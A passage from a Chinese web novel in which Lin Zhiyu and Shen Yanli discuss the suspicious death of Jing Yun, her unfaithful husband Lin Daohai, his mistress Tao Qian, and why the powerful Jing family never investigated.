在景韫死后的半个月,风波逐渐平息,躲藏了半月的陶倩重新被迎入林家大门。
在她死后半年,陶倩顺理成章嫁进林家。
景韫嫁给林道海是景家不认可的,却拗不过女儿心意只得放任她为所欲为。
她只带了名下的财产便义无反顾的嫁给了他,却换来了男人如弃敝履的感情。
不仅失去了家人朋友,压上所有赌注的爱情也得不到善终。
林知妤俯靠在后座椅背上将陈助带来的资料逐字逐句看完。
她啧啧两声,拿着白纸上下端详。
所以陶倩就是因为这样记恨上了景韫,认为是她强占了他们三年的恩爱时光?
认
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为若不是景韫她能更早的嫁给林道海,做林家的女主人?
林知妤慢悠悠地伸长手腕将手中白纸递回男人怀里。
可是林道海能管理整个林氏集团全仰仗景韫,景家的帮助,光靠他一人是完全没有这个能力的。
他们能得到的这些东西全是景韫给他们带来的。
要说林道海有没有爱过景韫,应该爱吧。
一个是已经得到了的,一个是心里藏着挠痒痒的。
没有都想要的道理。
若是景韫当初没死,那他就会毫不犹豫地扔了陶倩回去洗心革面向景韫认罪。
比起世家能给他带来的帮助,和陶倩的这些情情爱爱根本不算什么。
林知妤只觉得惋惜。
不论是景韫还是陶倩都是被林道海辜负了的女人。
归根结底,都是因为他的不作为,才能同时让两个女人受伤。
若是他当断即断,后面的事就不会发生。
她百思不得其解,忽地坐起来,“陈助都能查到的东西,这么大一个世家查不到吗?”
又为什么不愿意去查。
“不是查不到,不愿意细查。”沈砚礼嗓音轻描淡写。
林知妤瞬间懂了,“景家也出事了吗?”
沈砚礼徐徐道:“景家当年认了个私生子回来,那小公子甚至只比景韫小两岁,景老先生执意要立他为掌权人,景夫人将景家闹了个底朝天也无济于事,那段时间景家闹得水深火热,自然无暇顾及其真正死因。”
“景老先生不愿意去细究,也就让林道海有了可乘之机。”
林知妤眨了眨眼,“那之后呢?景夫人也不查了吗?”
亲爸遍地子孙不继续查也是常事,亲妈不查是因为什么?……
又是那些所谓的权势吗?
“比起已经亡故了的女儿,她日后能享有的权势地位才是重中之重。”沈砚礼漫不经心地答道。
“这些比自己的亲女儿还重要吗?”林知妤心脏一悸。
她抿了下唇,感到一丝丝惆怅。
像个小朋友一样,坐在那,对这世界感到不解。
沈砚礼意外她会有这样的反应。
他眸中幽静,略一停顿,嗓音沉沉,“豪门权贵大多如此。”
景家如此,林道海如此,沈隽也同样如此。